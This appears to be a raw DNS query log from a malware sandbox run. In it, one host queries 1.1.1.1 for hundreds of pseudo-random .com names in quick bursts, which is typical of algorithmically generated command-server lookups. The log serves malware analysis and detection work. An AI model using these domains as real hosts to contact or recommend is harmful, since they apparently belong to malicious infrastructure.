                                                                                                                                                                                                          Nov 11, 2024 18:14:00.550649881 CET192.168.2.61.1.1.10x260dStandard query (0)qedyhiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.554840088 CET192.168.2.61.1.1.10x1bbfStandard query (0)puzytul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.559469938 CET192.168.2.61.1.1.10xa49cStandard query (0)lymyved.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.565184116 CET192.168.2.61.1.1.10x26a3Standard query (0)volyrut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.565979958 CET192.168.2.61.1.1.10x69f4Standard query (0)gadyhoh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.570353031 CET192.168.2.61.1.1.10x5e29Standard query (0)galyryz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.578298092 CET192.168.2.61.1.1.10x7fadStandard query (0)gahykeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.582061052 CET192.168.2.61.1.1.10x2004Standard query (0)vojykyf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.582256079 CET192.168.2.61.1.1.10xe4dcStandard query (0)qebysaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.584709883 CET192.168.2.61.1.1.10x184bStandard query (0)pupymol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.585167885 CET192.168.2.61.1.1.10x357cStandard query (0)vonydem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.588975906 CET192.168.2.61.1.1.10xe709Standard query (0)ganydeh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.589302063 CET192.168.2.61.1.1.10x323fStandard query (0)lykylud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.589302063 CET192.168.2.61.1.1.10x3a34Standard query (0)purybup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.626348019 CET192.168.2.61.1.1.10xf07aStandard query (0)qexytil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.626981020 CET192.168.2.61.1.1.10x6c7dStandard query (0)puvypoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.627137899 CET192.168.2.61.1.1.10x1237Standard query (0)pujylyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.627351999 CET192.168.2.61.1.1.10xeef2Standard query (0)lyvysaj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.627439976 CET192.168.2.61.1.1.10xcff5Standard query (0)lyrynux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.627602100 CET192.168.2.61.1.1.10x88aaStandard query (0)qegykeg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.632127047 CET192.168.2.61.1.1.10xed94Standard query (0)vowybyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.632548094 CET192.168.2.61.1.1.10x5bc7Standard query (0)lygyjan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.632797956 CET192.168.2.61.1.1.10xeb4Standard query (0)gaqyvys.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.632896900 CET192.168.2.61.1.1.10xabf4Standard query (0)pufyjag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.632980108 CET192.168.2.61.1.1.10x8e64Standard query (0)lyxytur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.633162022 CET192.168.2.61.1.1.10x679bStandard query (0)qeqyvev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.633208036 CET192.168.2.61.1.1.10x11c1Standard query (0)vofyjom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.633414030 CET192.168.2.61.1.1.10xf7efStandard query (0)lysymor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.633552074 CET192.168.2.61.1.1.10xfde3Standard query (0)pumydyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.633670092 CET192.168.2.61.1.1.10x4866Standard query (0)qedyqal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.633707047 CET192.168.2.61.1.1.10x904eStandard query (0)galyzus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.633867979 CET192.168.2.61.1.1.10x72b3Standard query (0)gacycaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.634033918 CET192.168.2.61.1.1.10xc0d6Standard query (0)qegyryq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.634093046 CET192.168.2.61.1.1.10x46f2Standard query (0)vopymit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.634284973 CET192.168.2.61.1.1.10xbc2bStandard query (0)gacypiw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.634329081 CET192.168.2.61.1.1.10x9c10Standard query (0)qekyluv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.634485006 CET192.168.2.61.1.1.10x20b2Standard query (0)gatyniz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.634948015 CET192.168.2.61.1.1.10x8bbStandard query (0)vocypok.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.635057926 CET192.168.2.61.1.1.10xb3caStandard query (0)qetynup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.638593912 CET192.168.2.61.1.1.10x6e19Standard query (0)lyrygid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.639377117 CET192.168.2.61.1.1.10xa2d2Standard query (0)vocycat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.639981985 CET192.168.2.61.1.1.10xa405Standard query (0)gahyruh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.640515089 CET192.168.2.61.1.1.10x5249Standard query (0)purygiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.686985016 CET192.168.2.61.1.1.10x274dStandard query (0)gadyqaw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.688565969 CET192.168.2.61.1.1.10x6dd4Standard query (0)lymyfyn.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.693178892 CET192.168.2.61.1.1.10x5210Standard query (0)volyzic.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.693430901 CET192.168.2.61.1.1.10x6d87Standard query (0)qeqyfug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.693830013 CET192.168.2.61.1.1.10xb968Standard query (0)vofyqek.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.789741993 CET192.168.2.61.1.1.10x18c7Standard query (0)gahyhob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.790185928 CET192.168.2.61.1.1.10xe021Standard query (0)qetyvep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.915404081 CET192.168.2.61.1.1.10x267eStandard query (0)qekyqop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.916722059 CET192.168.2.61.1.1.10x44fStandard query (0)volyqat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.932902098 CET192.168.2.61.1.1.10xee48Standard query (0)qedyfyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.999866009 CET192.168.2.61.1.1.10x9183Standard query (0)pupybul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.000544071 CET192.168.2.61.1.1.10xf738Standard query (0)gacyryw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.001142979 CET192.168.2.61.1.1.10x358fStandard query (0)puvytuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.001619101 CET192.168.2.61.1.1.10x4d3eStandard query (0)lyryvex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.004625082 CET192.168.2.61.1.1.10x4380Standard query (0)ganypih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.006161928 CET192.168.2.61.1.1.10x7ca3Standard query (0)vopybyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.446196079 CET192.168.2.61.1.1.10xf905Standard query (0)galyqoh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.447060108 CET192.168.2.61.1.1.10xad1cStandard query (0)vocyryf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.447773933 CET192.168.2.61.1.1.10x9383Standard query (0)purycaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.448240995 CET192.168.2.61.1.1.10x14cfStandard query (0)gacyryb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.666158915 CET192.168.2.61.1.1.10x608aStandard query (0)lygygux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.799571037 CET192.168.2.61.1.1.10xf645Standard query (0)vowycok.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.803633928 CET192.168.2.61.1.1.10x243fStandard query (0)qexyreg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.811359882 CET192.168.2.61.1.1.10x42e7Standard query (0)pufygup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.811852932 CET192.168.2.61.1.1.10x5106Standard query (0)gaqycow.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.812227964 CET192.168.2.61.1.1.10x7dc2Standard query (0)lyxywen.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.812697887 CET192.168.2.61.1.1.10x2e1aStandard query (0)vofyguc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.812959909 CET192.168.2.61.1.1.10xaae4Standard query (0)qeqyxil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.813452959 CET192.168.2.61.1.1.10x99e2Standard query (0)lymyxir.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.813676119 CET192.168.2.61.1.1.10xdcfaStandard query (0)puzywag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.814276934 CET192.168.2.61.1.1.10x237fStandard query (0)gadyfys.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.814768076 CET192.168.2.61.1.1.10x549bStandard query (0)pumyxul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.815385103 CET192.168.2.61.1.1.10x1257Standard query (0)lysyfed.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.815591097 CET192.168.2.61.1.1.10xcd29Standard query (0)qedyfyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.908212900 CET192.168.2.61.1.1.10x735cStandard query (0)pupybyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.909981966 CET192.168.2.61.1.1.10x90d7Standard query (0)qekykal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.952126026 CET192.168.2.61.1.1.10xa36dStandard query (0)gatyfuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:01.952683926 CET192.168.2.61.1.1.10x3ed0Standard query (0)lyvyxin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.001391888 CET192.168.2.61.1.1.10x225Standard query (0)pujywep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.003057003 CET192.168.2.61.1.1.10xfa40Standard query (0)vonypic.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.003829956 CET192.168.2.61.1.1.10x9d3bStandard query (0)galykew.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.005373955 CET192.168.2.61.1.1.10xdf59Standard query (0)lysynun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.007469893 CET192.168.2.61.1.1.10x85b2Standard query (0)lyvytud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.009541035 CET192.168.2.61.1.1.10x22e3Standard query (0)volyqam.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.010463953 CET192.168.2.61.1.1.10xa64fStandard query (0)puvytuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.010905981 CET192.168.2.61.1.1.10x7c23Standard query (0)qetyveq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.011624098 CET192.168.2.61.1.1.10x2fd7Standard query (0)qebytuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.011692047 CET192.168.2.61.1.1.10x8995Standard query (0)vopybym.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.011918068 CET192.168.2.61.1.1.10xbb14Standard query (0)lykyjar.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.012105942 CET192.168.2.61.1.1.10xd3b2Standard query (0)ganypis.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.012284994 CET192.168.2.61.1.1.10x1fc1Standard query (0)lyryvaj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.012489080 CET192.168.2.61.1.1.10x63f9Standard query (0)volykek.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.012689114 CET192.168.2.61.1.1.10x1cc2Standard query (0)lyryfyr.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.012901068 CET192.168.2.61.1.1.10x763eStandard query (0)vocyzum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.013128996 CET192.168.2.61.1.1.10x3f0dStandard query (0)gadynub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.013257027 CET192.168.2.61.1.1.10x3585Standard query (0)vojyjot.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.013501883 CET192.168.2.61.1.1.10xab5bStandard query (0)qetyfyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.013817072 CET192.168.2.61.1.1.10xf432Standard query (0)pujyjol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.014141083 CET192.168.2.61.1.1.10xcd09Standard query (0)gatyveh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.068459988 CET192.168.2.61.1.1.10x3e45Standard query (0)qedynug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.074038982 CET192.168.2.61.1.1.10xa9a3Standard query (0)puvyxig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.078608036 CET192.168.2.61.1.1.10xe9a5Standard query (0)gahyqas.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.088435888 CET192.168.2.61.1.1.10xc76Standard query (0)vojyqac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.090764999 CET192.168.2.61.1.1.10x34cfStandard query (0)lymysox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.090951920 CET192.168.2.61.1.1.10x1e29Standard query (0)vowydet.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.091115952 CET192.168.2.61.1.1.10xf919Standard query (0)gacyzuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.091494083 CET192.168.2.61.1.1.10x9409Standard query (0)qegyhip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.091636896 CET192.168.2.61.1.1.10xec0aStandard query (0)qebyxog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.091778994 CET192.168.2.61.1.1.10xce27Standard query (0)pumypop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.091918945 CET192.168.2.61.1.1.10x9469Standard query (0)qegyqov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.092053890 CET192.168.2.61.1.1.10xf65Standard query (0)puzylyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.092200994 CET192.168.2.61.1.1.10x85e0Standard query (0)qeqysap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.092327118 CET192.168.2.61.1.1.10x9130Standard query (0)vofymif.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.092478037 CET192.168.2.61.1.1.10xbcf3Standard query (0)lyxylyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.093683004 CET192.168.2.61.1.1.10x1487Standard query (0)pufymiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.093888998 CET192.168.2.61.1.1.10x4245Standard query (0)gaqydaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.094439983 CET192.168.2.61.1.1.10xfbf8Standard query (0)qexyluq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.096237898 CET192.168.2.61.1.1.10xffe8Standard query (0)purydel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.096395969 CET192.168.2.61.1.1.10xcb68Standard query (0)lygymod.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.869986057 CET192.168.2.61.1.1.10xda1Standard query (0)ganyzuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.871819973 CET192.168.2.61.1.1.10xfbfaStandard query (0)lyvylyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.873728991 CET192.168.2.61.1.1.10x1ca9Standard query (0)gatydab.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.874281883 CET192.168.2.61.1.1.10x1314Standard query (0)vojymuk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.874614954 CET192.168.2.61.1.1.10xe7afStandard query (0)qetysog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.874902010 CET192.168.2.61.1.1.10x5b68Standard query (0)qekyqoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.875474930 CET192.168.2.61.1.1.10xc0e2Standard query (0)qebylyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.875597000 CET192.168.2.61.1.1.10x7be2Standard query (0)pupydev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.876231909 CET192.168.2.61.1.1.10x4ed0Standard query (0)vonyzut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.876980066 CET192.168.2.61.1.1.10xec3bStandard query (0)pufybyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.877547979 CET192.168.2.61.1.1.10x1a39Standard query (0)vopydaf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.877625942 CET192.168.2.61.1.1.10x1d55Standard query (0)puryxuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.878165007 CET192.168.2.61.1.1.10x4642Standard query (0)pujymiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.878197908 CET192.168.2.61.1.1.10xfe6eStandard query (0)lykymij.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.878804922 CET192.168.2.61.1.1.10xe022Standard query (0)gadydow.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.880897999 CET192.168.2.61.1.1.10xc5aaStandard query (0)gahyfyh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.881531000 CET192.168.2.61.1.1.10xe3b0Standard query (0)puzymup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.882221937 CET192.168.2.61.1.1.10x420eStandard query (0)qeqylyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.882708073 CET192.168.2.61.1.1.10x5aa6Standard query (0)vofydak.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.883635044 CET192.168.2.61.1.1.10x8938Standard query (0)lyxymix.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.883817911 CET192.168.2.61.1.1.10xcdd8Standard query (0)gaqyzyb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.887965918 CET192.168.2.61.1.1.10xb732Standard query (0)qexyqip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.899918079 CET192.168.2.61.1.1.10x77aeStandard query (0)qegyfeq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.901166916 CET192.168.2.61.1.1.10x4429Standard query (0)vowyzuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.902456999 CET192.168.2.61.1.1.10x1c55Standard query (0)vocyqot.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.902518034 CET192.168.2.61.1.1.10x3486Standard query (0)pufydaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.904618025 CET192.168.2.61.1.1.10x1649Standard query (0)lyryxud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.918070078 CET192.168.2.61.1.1.10x9787Standard query (0)lygyfej.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.921360970 CET192.168.2.61.1.1.10xa7c3Standard query (0)gacyqoz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.974509954 CET192.168.2.61.1.1.10xa6f4Standard query (0)vocykec.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.974510908 CET192.168.2.61.1.1.10x1f67Standard query (0)lyryson.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.974806070 CET192.168.2.61.1.1.10x3a58Standard query (0)lyxyjod.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.974960089 CET192.168.2.61.1.1.10xca0cStandard query (0)qexykav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.975086927 CET192.168.2.61.1.1.10x25e2Standard query (0)vofybet.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.975263119 CET192.168.2.61.1.1.10xc2fcStandard query (0)qegynul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.975332975 CET192.168.2.61.1.1.10x8958Standard query (0)purypig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.975667000 CET192.168.2.61.1.1.10x2fd0Standard query (0)lygynyr.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.975827932 CET192.168.2.61.1.1.10x424Standard query (0)pumytyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.975989103 CET192.168.2.61.1.1.10x1672Standard query (0)lyvywar.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.976139069 CET192.168.2.61.1.1.10x434bStandard query (0)qeqytuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.976288080 CET192.168.2.61.1.1.10x671Standard query (0)volyjif.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.976425886 CET192.168.2.61.1.1.10x58b6Standard query (0)qedyvap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.976576090 CET192.168.2.61.1.1.10x8f72Standard query (0)galyhib.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:02.981080055 CET192.168.2.61.1.1.10xf17aStandard query (0)qekyhug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.015863895 CET192.168.2.61.1.1.10xb9d5Standard query (0)lysyvax.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.020931959 CET192.168.2.61.1.1.10x8e1Standard query (0)gacykas.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.021554947 CET192.168.2.61.1.1.10xf693Standard query (0)ganyrew.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.021924019 CET192.168.2.61.1.1.10x5441Standard query (0)lykygun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.023900986 CET192.168.2.61.1.1.10xb0c3Standard query (0)pupycop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.025027037 CET192.168.2.61.1.1.10x8b8dStandard query (0)vonyryk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.025298119 CET192.168.2.61.1.1.10xcd67Standard query (0)gatycis.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.027074099 CET192.168.2.61.1.1.10x6480Standard query (0)vopycoc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.027290106 CET192.168.2.61.1.1.10xe461Standard query (0)qebyrel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.027323961 CET192.168.2.61.1.1.10x931aStandard query (0)pujygug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.027544975 CET192.168.2.61.1.1.10xf178Standard query (0)qetyxiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.027642965 CET192.168.2.61.1.1.10x4d9aStandard query (0)puvywal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.028691053 CET192.168.2.61.1.1.10x571bStandard query (0)gahynuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.046859980 CET192.168.2.61.1.1.10x211Standard query (0)gaqypuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.047256947 CET192.168.2.61.1.1.10x4692Standard query (0)vojygym.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.056327105 CET192.168.2.61.1.1.10xedbStandard query (0)puvylep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:14:03.056570053 CET192.168.2.61.1.1.10x39d2Standard query (0)gadyvez.comA (IP address)IN (0x0001)false
